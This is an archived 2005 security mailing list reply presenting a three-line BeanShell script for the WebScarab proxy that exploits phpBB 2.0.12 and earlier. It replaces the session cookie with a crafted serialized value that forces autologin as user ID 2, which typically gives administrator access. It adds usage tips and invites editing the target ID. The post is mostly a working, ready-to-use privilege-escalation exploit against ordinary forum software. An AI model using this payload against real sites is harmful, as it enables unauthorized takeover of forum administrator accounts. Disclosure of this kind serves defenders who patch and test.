Re: phpBB <= 2.0.12 UID Exploit

From: Nicob (nicob_at_nicob.net)
Date: 03/02/05

  • Next message: Karl Lynn: "EEYE: Computer Associates License Manager Remote Vulnerabilities"
    To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com
    Date: Wed, 02 Mar 2005 10:46:23 +0100
    
    

    federico gonzales wrote :
    >
    > I made this exploit for get admin permissions in forums phpbb2 2.0.12.
    > It requires mozilla or firefox installed. The instructions are in the
    > exploit.

    Platform and browser independent exploit in 3 lines of Bean-Shell. Use
    this code in WebScarab, and don't forget to desactivate the "Get cookies
    from responses" option.

    request.deleteHeader("Cookie");
    request.addHeader("Cookie","phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D;");
    response = fetchResponse(request);

    Note #1 : because of some additional checks for the /admin/ pages, you
    should desactivate the BeanShell before following the admin link.
    Note #2 : this code tries to get userid=2 privs. Edit it at will ...

    Nicob


  • Next message: Karl Lynn: "EEYE: Computer Associates License Manager Remote Vulnerabilities"